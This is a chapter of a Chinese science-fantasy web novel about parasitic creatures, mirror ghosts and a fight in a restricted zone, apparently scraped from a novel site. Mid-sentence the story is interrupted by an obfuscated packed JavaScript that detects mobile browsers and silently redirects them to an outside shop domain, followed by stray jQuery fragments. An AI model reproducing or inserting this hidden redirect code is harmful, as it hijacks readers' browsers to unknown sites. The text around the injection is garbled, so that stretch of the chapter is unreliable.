文趣网 > 其他小说 > 联盟长官叛逃中 > 24. 双打
    从刚刚起,程双的挣扎就异常剧烈。

    但郁柏歆对于绑人这件事实在太有心得,任凭他怎么努力都无法挣脱分毫。更何况他的身体本就弱,被刘寅单手拎着,像只翻滚的毛毛虫。

    整个画面莫名透出一股莫名的辛酸。

    最后还是刘寅在程双试图用头骨撞击石头时忍不了了:“不是,你到底想干什么?”

    “呜呜呜呜……”

    程双说不了话,因为郁柏歆绑人的时候顺手把他的嘴堵了。

    确认第二个标记,郁柏歆看着那个三角形的符号片刻,才转身看向在地上痛苦翻滚的程双。

    “不是,他没病吧?”刘寅皱紧眉头,察觉到了不对:“他的肚子是不是……?”

    “是那只寄生他的异端。”

    郁柏歆伸手按住他不断鼓起的腹部,指尖能清晰感受到里面那东西的挣扎和焦躁:“寄生体有很多种类,越接近基因源头,它们的感召力就越强。而相对地,对宿体的要求就越高,也更难控制。”

    他顿了一下,对上程双惊惧而痛苦的眼睛:“你很幸运,这只异端在源头的前列,但不幸的是,你的能力不足以完全控制住它。这导致现在的困境让它感到了浓烈的不安。”

    话音刚落,郁柏歆注意到两人一个比一个迷茫的脸,顿时轻啧:“因为你给不了它安全感,所以它现在非常焦躁,难以克制逃离危险的本能。”

    刘寅目瞪口呆:“……”

    现在这个慕强年头连异端都这么缺乏安全感了吗?

    不只是他,连程双都被惊到说不出话,像个幸运娶到白富美的无能丈夫。

    “那现在怎么办?”刘寅呃了一声:“我现在不太想看异端破肚而出的血呼啦场面,有点犯恶心。”

    “一般不会。”郁柏歆手上用了点力气,随着强行压制的动作,那只躁动的异端似乎感受到威胁,硬生生被迫收敛,勉强安静下来。

    痛苦减弱,程双剧烈地喘着气,几乎没了半条命。

    起身时,郁柏歆伸手按了下后颈,很轻地眯了下眼,虽然忽地转头看向甬道尽头。

    两道镜片的反光又一次出现在拐角,在郁柏歆看过去的瞬间,镜片再次碰撞。

    清脆的响动让几个人猛地变了脸色,特别是程双,他不可置信地瞪大眼睛,仿佛看到了什么难以理解的事。

    等到响动平息,悬挂的镜子同时消失。直到这时刘寅才回过神,一把拎起程双的衣领:“你干了什么!?”

    程双的脸色非常难看。

    他没有召唤镜鬼,或者说现在的他没有召唤到镜鬼的能力。

    人类无法控制自身的基因发出异端间的独特声波,因此远距离的情况下,寄生在身体中的异端就是唯一的信息交流站,传达中枢的命令。

    但是从刚才起,他的身体里的寄生体就一直处在焦躁的状态,根本不回应他的命令。

    可现在,镜鬼独自出现,没有通过他。

    他死死盯着镜片消失的位置,无数可能纷纷涌现,脸色由愤怒到苍白。

    “看来已经有人来接替你的位置了。”

    郁柏歆扯了下唇,冷眼垂眸:“身为弃子,你还有别的筹码吗?”

    ……

    房间内,还坐在地上回不过神的林生愣了几秒才反应过来付涔话里的意思。他僵硬地侧头看向身后黑漆漆的洞口,几秒钟钟后,一声轻笑从黑暗传来。

    紧接着,一个男人的身影穿过浓重的漆黑,出现在两人面前。

    黑发,黑眼,毫无记忆点的五官,过分平和的面部表情,不难看也不惊艳。

    这实在是个平平无奇的长相,如果在人群中擦肩而过,你甚至无法对这个人产生印象。

    走到灯光下,男人没看旁边后知后觉反应过来危险,手脚并用往后退的林生,只看着最前方的付涔。

    “从刚刚起我就总觉得你的长相有点眼熟。”男人的声音如同他的脸,非常平缓。

    “现在来看,我应该没记错。”

    说这话时,他不闪不避地对上付涔的目光,语气带着明显的探究:“曾被联盟军部视为‘中枢’,险些成为军部历史上最年轻的高级指挥官的人,失踪多年后为什么会出现在这种地方?”

    可对于他的试探,付涔却只是疑惑似的歪了下头:“你记错了吧?我一个在禁地区捡垃圾的贫民哪来辉煌的履历?”

    “更何况‘险些’这种头衔有什么提的必要吗?”

    钢笔转了半圈后被接住,付涔冷嘲热讽:“你怎么不干脆说那人险些统领军部。”

    男人笑了笑,没有接话。

    他其实不太确认,毕竟那个人不同于现在活跃在各大网络上的郁柏歆,他很少在其他场合露面,唯一见到概率高的地方就是战场。

    但在战场上有幸见到他的敌对方大多数都没有机会留下消息,所以到目前为止关于他的信息就只有一个频道代号,以及……某位的口述了。

    “废话用不着多说了吧,毕竟你我的时间都不算多。”付涔朝一侧轻抬下巴:“这枚茧是要准备休眠了吧?看这样它选的共生体不太靠谱。”

    顺着他的视线看向丝线中心逐渐缓慢地鼓动,男人没有否认:“你对我们很了解。”

    “还行吧。”付涔答地敷衍。

    “太谦虚了,可惜你不是我们的同类,不然我都想试着拉拢你。”男人没在意他的态度,只有些遗憾地回答:

    “Ⅱ类基因还是太不稳定了,他们除了幸运地继承了一点基因外,没有任何特殊性。”

    “正常来说,这类接近源头的茧不会选择次等基因作为共生体,但那个人太幸运了。”男人叹了口气:

    “它不忍心看着同类因自己的失误死去,所以才用自己填了进去。”

    “你形容得好像教堂里的圣母。”付涔抱之冷笑:“自己不觉得扯吗?”

    “是吗?但事实确实如此。”男人笑了笑:“被这种级别的寄生体选择却无法掌控,甚至沦落到受制于人,无疑是暴殄天物。”

    “不过你说得对,我们确实没什么时间了。”

    碎裂的镜子在他周边骤然浮现,而同一时间,他身后浓稠的黑暗顺着地面向前蔓延。

    “虽然不知道你的理由,但在正式见到另一位之前,预计之外的事还是尽早结束为好。”

    可他的话刚刚说完,身后就传来一声冷嗤:“是吗?”

    这一刻,男人完美的面具终于裂开。

    他几乎本能地向一侧躲去,可子弹的轨迹却好像精心计算过,直直射向他的眉心。

    “砰!”

    镜面撞击和异端的嗡鸣同时响起,紧接着风浪从撞击中心向外席卷。

    郁柏歆注视着地面翻涌的密密麻麻一片漆黑,有点后悔之前没留一颗爆破类子弹。

    下意识瞥了眼付涔,对方福至心灵,但遗憾摊手,用口型回答:没了。

    两个在进入禁地区第一天就不约而同把家当挥霍一空的人士在此刻对视,都从对方眼里看出了充满嫌弃的“败家”二字。

    对方是指望不上了,郁柏歆直接掏出那根老演员激光笔,毫不犹

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734023|209016||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    豫将能量转化功率调至最大。同一时间,明白他想干什么的付涔将口袋里的打火机抛了过去,随后用钢笔直接挑断那个茧的支撑。

    这玩意出问题会影响附近的异端,付涔原本打算解决掉其他问题最后处理,但现在来看再等等也不用处理了,直接当碳扫走就行了。

    挑下装盒一气呵成,付涔扯起还在愣神的林生,三两下摸到升降楼梯的开关,言简意赅:“30秒,要是爬不上去变成炭,我也没办法。”

    林生:“……”

    已经快被搞出生理性应激的林生一点都没犹豫地朝楼梯冲过去,只恨公司往年的团建活动里没有攀岩这一项。

    不过人类在危急时刻的爆发力确实是无限的,顿时林生腰也不疼了,腿也不麻了,混沌的脑子也不胡思乱想了,抓着梯子疯狂上行,硬是十秒不到就冲了上去。

    付涔惊叹不已,但现在不是感慨的时候。

    仅剩的镜面又一次在角落悄无声息地浮现。这东西的机制其实简单且粗暴——只要被异端所在镜面捕捉二十秒,身体和思维就会开始僵化,从第三十秒开始,则进入晶体化阶段。

    一旦注视镜子,则会面临直接的精神干扰,时间至少缩短一半。

    至于破局的方式很简单但也很难,要么躲开异端所在的镜子。

    要么和郁柏歆之前一样,准确将停留的镜面的异端驱逐,并借着转换时的弱点将镜面击碎。这个方法唯一的难点在于,肉眼几乎无法判断那只完全透明异端究竟在哪。

    注意到场上大缩水的五块镜子,付涔颇为意外地扬眉。

    好家伙。

    这小玩意估计恨死他了,怪不得这半天没一片镜子对着自己呢。

    不过感慨归感慨,一点不影响付涔搞事。

    和郁柏歆感知敏锐下的直接强攻不同,付涔一枪逼退脸色难看的男人,正正好好将他逼到镜面交错的中心。

    镜子中郁柏歆逐渐清晰的画面被闯入的另一道影子打断,被迫终止。

    画面刷新消退,其中一个镜面率先传来波动,就这短暂瞬间的异常,随着第二声枪响如约而至。

    又一面镜子碎裂,在异端的嗡鸣中,男人咬了咬牙干脆放弃付涔,直接朝已经抽出激光内核的郁柏歆冲去。

    大片漆黑如同蛾蠓的飞虫已经快将郁柏歆吞没,可他面对冲过来的异端和再次对准自己的镜面,却连一个眉头都没皱,不闪不避地卸下打火机外壳。

    “拦住他!”

    然而就在异端扑上去的瞬间,付涔一步都没动,却忽地将枪口偏移,在对方猛然意识到什么的目光中,朝门外着急忙慌刚露头的刘寅开了一枪。

    这一枪出乎所有人的预料。

    黑洞洞的枪口和瞬间的枪声让刘寅身体彻底僵住。

    可他很快反应过来自己身上没有一丝痛感,反而胳膊肘下传来大片温热,臂弯中剧烈地挣扎在一瞬间的僵直后,彻底瘫软。

    紧盯着前方已经收回枪的男人,刘寅的额头一点点渗出冷汗。

    从他出现在视野,开枪,一枪毙命,一切的开始到结束只发生在短短一息,没有任何反应时间。

    而那没有任何犹豫的一枪但凡偏移一点点,他都可能跟着一起没命。

    可那个人没一点犹豫,是自信还是……根本不在乎?

    刘寅遍体生寒,可郁柏歆倒是毫不意外,只在异端因中枢死亡又失去茧的信息而陷入迷茫的瞬间,朝付涔戏谑地抬了抬下巴:“不是不让杀?”

    对此,付涔没好气道:“点你的炸药吧。”